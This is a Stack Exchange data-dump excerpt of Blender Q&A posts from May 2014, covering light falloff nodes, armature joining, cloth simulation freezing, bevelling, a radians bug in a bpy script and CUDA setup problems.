  <row Id="10770" PostTypeId="1" AcceptedAnswerId="10771" CreationDate="2014-05-28T02:33:13.680" Score="3" ViewCount="8678" Body="&lt;p&gt;So generally people tend to agree that the intensity of light has a fall-off that is the inverse square of the distance to the light.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:  &lt;strong&gt;intensity  = 1.0 / (distance * distance);&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm fairly certain from what people say that this would be used in OSL/Cycles since it's supposed to be physically based however it's useful to have control over this when a scene is being difficult or even just to give more control when using several fill lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to find a node setup that can help modulate(or replace) the current falloff with something that is a bit more linear.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;intensity = 1.0 / distance;&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone have an idea on how to control the intensity falloff using what we have available to us already?  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-05-28T03:50:28.893" Title="changing the intensity falloff of light sources using Cycles nodes" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ClosedDate="2014-05-28T19:59:30.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="10771" PostTypeId="2" ParentId="10770" CreationDate="2014-05-28T03:34:31.367" Score="7" Body="&lt;p&gt;Use the &quot;light falloff&quot; node to control the strength of the emitter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;quadratic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/14jK3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;linear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DGB2J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;constant&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xT8AF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-05-28T03:50:28.893" LastActivityDate="2014-05-28T03:50:28.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10772" PostTypeId="1" CreationDate="2014-05-28T05:16:23.473" Score="9" ViewCount="48484" Body="&lt;p&gt;I put together an armature for a four legged creature, but I had to make each leg armature separate. I now want to combine them into one armature. Is there an easy way to do this?&lt;/p&gt;&#xA;" OwnerUserId="3648" LastEditorUserId="3078" LastEditDate="2015-05-16T19:18:31.503" LastActivityDate="2017-05-24T11:37:52.633" Title="How to combine various armatures?" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10774" PostTypeId="2" ParentId="10735" CreationDate="2014-05-28T06:19:40.710" Score="3" Body="&lt;p&gt;It selects connected edge loops which are not connected to anything else (boundary edges):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yNgPh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only affects cases where the loop is on the edge of a non-closed part of the mesh. For example, if you try this on an extruded grid (with thickness), nothing will happen as there are no boundary edges on a manifold mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be noted that this doesn't seem to work with &lt;kbd&gt;Shift&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-24T08:07:38.137" LastActivityDate="2014-10-24T08:07:38.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10775" PostTypeId="1" CreationDate="2014-05-28T07:44:31.903" Score="2" ViewCount="208" Body="&lt;p&gt;I'm wondering if it's possible to limit a mesh so it doesn't collide with another mesh. I'd like to be able to move a mesh around the 3D view and have it &lt;em&gt;stop&lt;/em&gt; moving along that axis when it touches another mesh (of my choosing, preferably). Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1813" LastActivityDate="2014-05-28T07:44:31.903" Title="Limit a mesh so it doesn't collide with or enter another mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2014-05-28T17:34:20.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="10776" PostTypeId="1" AcceptedAnswerId="10780" CreationDate="2014-05-28T09:08:44.263" Score="2" ViewCount="516" Body="&lt;p&gt;I am trying to pose bones in gimbal mode but they always rotate on odd angles even though the red arrow shows the proper angle of rotation. Why is this and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qAI3K.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastActivityDate="2014-05-28T17:32:08.047" Title="Bones not rotating properly in gimbal mode" Tags="&lt;bones&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10777" PostTypeId="2" ParentId="5165" CreationDate="2014-05-28T14:02:32.993" Score="2" Body="&lt;p&gt;Wildly speculating based on the diagrams in the wiki.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Diffuse reflected light is randomly scattered, indifferent to its angle of incidence; extreme scatter has similar (equal?) probability to slight scatter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rough-glossy reflected light is scattered around the direction of pure-glossy reflection; extreme scatter is less likely than slight scatter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I suspect it's a distribution thing; physically the same thing is happening, but the reflection angle probabilities are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the dark spot is a reflection of the environment behind your camera?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2014-05-28T14:08:58.750" LastActivityDate="2014-05-28T14:08:58.750" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10778" PostTypeId="1" CreationDate="2014-05-28T15:45:37.740" Score="1" ViewCount="865" Body="&lt;ol&gt;&#xA;&lt;li&gt;Moving and arranging nodes has been a pain from 2.68 when I started using blender. With official and other builds. I have inverted the mouse to use LMB for selection and translation which is aggravating: RMB still works!?, still laggy, but for LMB I have to wait with mouse pressed over a node ~1/2 sec to be possible to drag the node. Otherwise simple click is not selecting the node. After successfully selected the node remains behind the mouse at every move.&lt;/li&gt;&#xA;&lt;li&gt;Moving a node close to any margins of the editor window snaps the node far away on the grid, outside of the visible area.Which is especially annoying when creating new nodes as they get generated usually close to the borders.&#xA;Also the create node menu is slow to display.&#xA;This situation is the same on 2 computers that I use for graphics and is not depending on viewport shading.&#xA;I post here just in case someone has a suggestion to test. If not I will submit the bug.&#xA;Thanks&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3444" LastActivityDate="2014-06-28T09:32:00.373" Title="Node editor lagging / unresponsive and imprevisible" Tags="&lt;node-editor&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-06-28T18:07:14.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="10779" PostTypeId="2" ParentId="10772" CreationDate="2014-05-28T16:39:50.243" Score="7" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select all the leg armatures, in Object mode.&lt;/li&gt;&#xA;&lt;li&gt;Go to the Object menu, &gt;&gt; &lt;strong&gt;Join&lt;/strong&gt; (or Ctrl + J).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That said, I hope you didn't weight paint anything yet, because if so, you may have to rename some of your bones' VGs.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-05-28T16:39:50.243" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10780" PostTypeId="2" ParentId="10776" CreationDate="2014-05-28T17:32:08.047" Score="6" Body="&lt;p&gt;That red line that shows up when you are rotating means you are locking the rotation to the X axis by pressing &lt;kbd&gt;X&lt;/kbd&gt; - this will be the world's X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you first start to rotate by only pressing &lt;kbd&gt;R&lt;/kbd&gt; the rotation is restricted to the view orientation, meaning it will appear to rotate in a circle as seen in the view you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also lock the transform to the objects local X axis by pressing &lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can also be adjusted to the Y or Z axis when moving, rotating and scaling. Also to remove an axis from the transform also press &lt;kbd&gt;Shift&lt;/kbd&gt;. eg pressing &lt;kbd&gt;S&lt;/kbd&gt; then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; will scale on both Y and Z axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the transform orientation used by the widgets in the header menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kZtAJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes you can also find it helpful to use &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; which puts you in trackball rotation - that is not locked to any particular axis.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-28T17:32:08.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10781" PostTypeId="2" ParentId="10768" CreationDate="2014-05-28T18:32:28.013" Score="1" Body="&lt;p&gt;The movements are limited by the IK settings for the lower leg bones. That is the IK settings not the IK Constraint settings. While in pose mode select the lower leg bone and you will find an Inverse Kinematics panel under bone properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Qhxx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There you have enabled a limit and set it to 0-90 degrees for the x-axis. While this does seem like a reasonable setting, it is causing the upper bone to take the rotation when the rotation of the lower leg could be negative.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-28T18:32:28.013" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10782" PostTypeId="1" AcceptedAnswerId="10783" CreationDate="2014-05-28T19:42:41.287" Score="9" ViewCount="16871" Body="&lt;p&gt;How would one freeze a simulated body at frame X and use it as a static mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following a &lt;a href=&quot;https://www.youtube.com/watch?v=snbsdu57QDA&quot; rel=&quot;noreferrer&quot;&gt;tutorial&lt;/a&gt;, I've been able to do a cloth animation to my model, now I'd like to have that made static, without the use of the timeline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, I'm modelling something that's not going to be an animation, but a static object (something like a statue/figurine). So I don't need the animation, only the shape at a particular frame that I find convenient. I'd like eventually once this is done, to also modify that deformed grid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to follow what was said &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?261363-How-to-extract-a-particular-frame-of-cloth-simulation&amp;amp;p=2167215&amp;amp;viewfull=1#post2167215&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;, but couldn't figure out what chipmasque was saying. I'm quite new to blender (been using it on and off, just enough to forget everything).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using blender 2.63, if it is of any relevance. &lt;/p&gt;&#xA;" OwnerUserId="3652" LastEditorUserId="3652" LastEditDate="2014-05-28T19:53:05.400" LastActivityDate="2015-01-21T21:55:06.517" Title="How to &quot;freeze&quot; a cloth animation at X frame?" Tags="&lt;cloth-simulation&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10783" PostTypeId="2" ParentId="10782" CreationDate="2014-05-28T19:44:49.313" Score="15" Body="&lt;p&gt;You can apply the cloth simulation modifier. That will convert the current frame into a static mesh, and all other simulation data will be deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kAZNE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2014-05-28T19:50:02.947" LastActivityDate="2014-05-28T19:50:02.947" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10786" PostTypeId="1" AcceptedAnswerId="10798" CreationDate="2014-05-28T22:22:22.230" Score="2" ViewCount="1254" Body="&lt;p&gt;The picture shows what I'm trying to make.&#xA;I'm planning to use 12 of these rotated to make a 12-petal circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c57La.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this by starting with a pancake-like cylinder, than creating a triangular wedge, extruding that also, using boolean AND modifier. This gives a sector, like a slice of pizza. Then I do boolean EXCLUDE with a small cylinder to cut out the hole at the tip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I bevel the edges.&#xA;But the bevelling is not working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JDhhZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to do this cleanly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I could start with a cone with MIN_RADIUS, MAX_RADIUS and depth 0, to create an anulus.  Then I could BOOLEAN AND it with a wedge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or even better, manually link up a subset of the generated vertices, to produce the shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then extrude, and bevel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone see a better way? And how to gain control over the bevelling process? Does anyone have a suitable link they could post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is BEVEL the best way to round the edges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, is there some way I could emboss the edges, if that's the right word?  Bring them out to give definitions of the object?  This may look better than bevelling.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="2217" LastEditDate="2014-05-31T13:33:29.947" LastActivityDate="2014-05-31T13:33:29.947" Title="Constructing and bevelling a pie-slice" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10787" PostTypeId="1" CreationDate="2014-05-29T01:06:15.263" Score="4" ViewCount="3290" Body="&lt;p&gt;I'm looking to create the illusion of rounded or beveled edges without actually adding new geometry as a batch process for multiple types of meshes, from something as simple as a cube to very complex. Mental Ray within Maya solves this with mia_roundcorners attached to the bump node of a mia_material_x shader.&lt;/p&gt;&#xA;" OwnerUserId="3658" LastEditorUserId="2217" LastEditDate="2014-05-31T13:38:11.497" LastActivityDate="2014-06-01T18:54:48.737" Title="Simulating rounded edges on a mesh" Tags="&lt;modifiers&gt;&lt;shaders&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10788" PostTypeId="1" AcceptedAnswerId="10789" CreationDate="2014-05-29T02:22:55.843" Score="2" ViewCount="566" Body="&lt;p&gt;I am trying to create a cylinder which is rotated 90˚ on the Y axis using, but the cylinder is over rotating to 5156˚.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the cylinder over rotating and how can i rotate it only 90˚ ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;object_size = 64.0&#xA;sce = bpy.data.scenes&#xA;for x in range(-4, 4):&#xA;    for y in range(-4, 4):&#xA;        for z in range(-1, 1):&#xA;&#xA;            bpy.ops.mesh.primitive_cylinder_add(&#xA;                                location=(x, y, z),&#xA;                                rotation=(0, 90, 0),&#xA;                                radius=1.0/object_size,&#xA;                                depth=1,&#xA;                                vertices=8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what the rotated cylinder looks like from the side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RkMGw.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="3430" LastActivityDate="2014-05-29T04:05:26.970" Title="python over rotating cylinder" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10789" PostTypeId="2" ParentId="10788" CreationDate="2014-05-29T03:59:51.697" Score="6" Body="&lt;p&gt;When accessed via Python, all angles are in radians, not degrees.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rotation=(0, 90, 0),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to write in degrees for convenience, you can use &lt;code&gt;math.radians&lt;/code&gt; eg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rotation=(0, math.radians(90), 0),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-05-29T04:05:26.970" LastActivityDate="2014-05-29T04:05:26.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10790" PostTypeId="2" ParentId="10787" CreationDate="2014-05-29T05:13:37.523" Score="1" Body="&lt;p&gt;I don't speak Mayan, but I think what you are looking for is the bevel modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DySIo.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JgQtm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Bevel&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Bevel&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-05-29T05:19:57.663" LastActivityDate="2014-05-29T05:19:57.663" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10795" PostTypeId="2" ParentId="10778" CreationDate="2014-05-29T08:55:23.677" Score="1" Body="&lt;p&gt;Yes!It was my fault from the beginning.&lt;br/&gt;&#xA;At some point long ago I have changed these settings in &lt;strong&gt;Preferences/Input&lt;/strong&gt;&lt;br/&gt;&#xA;1.The lag is caused by &lt;strong&gt;Drag Threshold&lt;/strong&gt; and &lt;strong&gt;Tweak T&lt;/strong&gt;. With 3px (minimum allowed) the lag disappears. I supposed &amp;amp; tested that their function is to smooth out drag behavior in mesh editing and slider controls but did not expect to affect the nodes in the editor.&lt;br/&gt;&#xA;2.The snapping was by &lt;strong&gt;Continuos Grab&lt;/strong&gt; which I use also in 3dMax. And that behavior in node editor is a bug.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Drag Threshold&lt;/strong&gt;&lt;br/&gt;&#xA;      The number of pixels that a User Interface element has to be moved before it is recognized by Blender.&lt;br/&gt;&#xA;  &lt;strong&gt;Continuous Grab&lt;/strong&gt;&lt;br/&gt;&#xA;   Allows moving the mouse outside of the view (for translation, rotation, scale for example).  &lt;br/&gt;source: &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Input&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Input&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m8KFX.jpg&quot; alt=&quot;Input prefs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3444" LastActivityDate="2014-05-29T08:55:23.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10796" PostTypeId="1" AcceptedAnswerId="10797" CreationDate="2014-05-29T10:39:56.367" Score="2" ViewCount="1006" Body="&lt;p&gt;I have animation where object changes his shape using shape keys, and I want to make some animation smoothing with graph editor. Is there a way to use graph editor for shape key animation?&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2014-05-29T11:36:02.050" Title="Graph editor for shape key animation" Tags="&lt;animation&gt;&lt;shape-keys&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10797" PostTypeId="2" ParentId="10796" CreationDate="2014-05-29T11:36:02.050" Score="4" Body="&lt;p&gt;By keyframing the influence value of the &lt;em&gt;Shape Key&lt;/em&gt; &lt;kbd&gt;I&lt;/kbd&gt; (while mouse over the slider, &lt;kbd&gt;RMB&lt;/kbd&gt; to open the context menu) you can edit a the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph/FCurves&quot; rel=&quot;nofollow noreferrer&quot;&gt;F-Curve&lt;/a&gt; in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Graph Editor&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8n7Rm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-29T11:36:02.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10798" PostTypeId="2" ParentId="10786" CreationDate="2014-05-29T12:16:49.583" Score="4" Body="&lt;p&gt;I guess that the Boolean operations created some geometry that the &lt;em&gt;Bevel Modifier&lt;/em&gt; can't handle as you expect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you create the mesh starting with a plane like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0SV9t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and use the &lt;em&gt;Spin Tool&lt;/em&gt; &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; while in &lt;em&gt;Edit Mode&lt;/em&gt;&#xA;(Note that the position of the 3D cursor and selected view (Top/Ortho) is important.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JTjYX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bevel modifier works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8fSk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-29T12:16:49.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10799" PostTypeId="1" CreationDate="2014-05-29T14:46:10.550" Score="0" ViewCount="60" Body="&lt;p&gt;I am rendering an animation in Blender that should take about two days.&#xA;I am using the CPU to render it because Blender does not support my GPU.&#xA;After one day non-stop of rendering I have noticed that my iMac (2013 edition, intel core i5 CPU) was getting hot (about 85 degrees) and I do not want it to get harmed.&#xA;Unfortunately I have chosen to render the whole animation to a video sequence directly and not to a set of images, so I cannot allow myself to stop the whole process.&#xA;So is there any way to pause or reduce Blender's activity so that my computer can cool itself before restarting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already tried the commands renice and killall -s STOP but with no result.&lt;/p&gt;&#xA;" OwnerUserId="3666" LastActivityDate="2014-05-29T14:46:10.550" Title="How to pause Blender or reduce its priority on Mac OS X" Tags="&lt;rendering&gt;&lt;osx&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-05-29T16:36:48.710" ContentLicense="CC BY-SA 3.0" />
  <row Id="10800" PostTypeId="1" AcceptedAnswerId="10807" CreationDate="2014-05-29T15:24:10.913" Score="1" ViewCount="2961" Body="&lt;p&gt;I've got a GeForce 330M and CUDA 1.2 as a consequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Blender supports only &gt;=2.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read this &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/GPU_Rendering&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; and they say that I have to use Cuda toolkit 5.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;the link leads to toolkit 6.0.37&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=&gt; I try with this one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When I try to install it (32 bit .run for ubuntu 13.04 (I've got 14.04))&#xA;I've got this error:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Using more to view the EULA.&#xA;  Error: unsupported compiler: 4.8.2. Use --override to override this check.&#xA;  Missing recommended library: libGLU.so&#xA;  Missing recommended library: libXi.so&#xA;  Missing recommended library: libXmu.so&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Error: cannot find Toolkit in /usr/local/cuda-6.0&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;===========&lt;/p&gt;&#xA;  &#xA;  &lt;h1&gt;= Summary =&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;Driver:   Not Selected&#xA;  Toolkit:  Installation Failed. Using unsupported Compiler.&#xA;  Samples:  Cannot find Toolkit in /usr/local/cuda-6.0&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Logfile is /tmp/cuda_install_3711.log&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which compiler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updates:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I just realised that they write just after the link &quot;The CUDA toolkit 5.0 &lt;strong&gt;(64-bit version)&lt;/strong&gt; or newer must be installed for this.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What should I do? Install a 64 bit on a 32 bit system (it's my test external hdd) ?&lt;/p&gt;&#xA;" OwnerUserId="2701" LastEditorUserId="2701" LastEditDate="2014-05-29T15:32:46.613" LastActivityDate="2014-05-29T21:27:49.247" Title="Cuda acceleration with CUDA 1.2" Tags="&lt;rendering&gt;&lt;linux&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2014-05-30T07:59:41.527" ContentLicense="CC BY-SA 3.0" />
  <row Id="10801" PostTypeId="1" AcceptedAnswerId="10804" CreationDate="2014-05-29T16:34:52.250" Score="0" ViewCount="6375" Body="&lt;p&gt;I've been confused about this one for quite some time now. If I were to &lt;strong&gt;create a project of a character by itself&lt;/strong&gt;, and I &lt;strong&gt;created another project with just scenery&lt;/strong&gt;, &lt;strong&gt;how do I put the character into the scenery?&lt;/strong&gt; I've tried using import, but it won't let me put the full character into the project.&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2014-05-29T19:03:36.963" Title="How to use a Mesh from one project in another?" Tags="&lt;import&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-05-29T22:03:50.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="10802" PostTypeId="1" AcceptedAnswerId="10806" CreationDate="2014-05-29T16:48:00.533" Score="3" ViewCount="96" Body="&lt;p&gt;I've got a few hundred meta balls making up an object. I'd like to duplicate it, and convert it to a mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the duplicated metas end up being in the same family as the originals, so &lt;em&gt;everything&lt;/em&gt; gets converted to mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to duplicate a bunch of metas, and convert them to a new meta family?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-05-29T21:12:06.010" Title="Changing family of many metas" Tags="&lt;workflow&gt;&lt;meta-objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
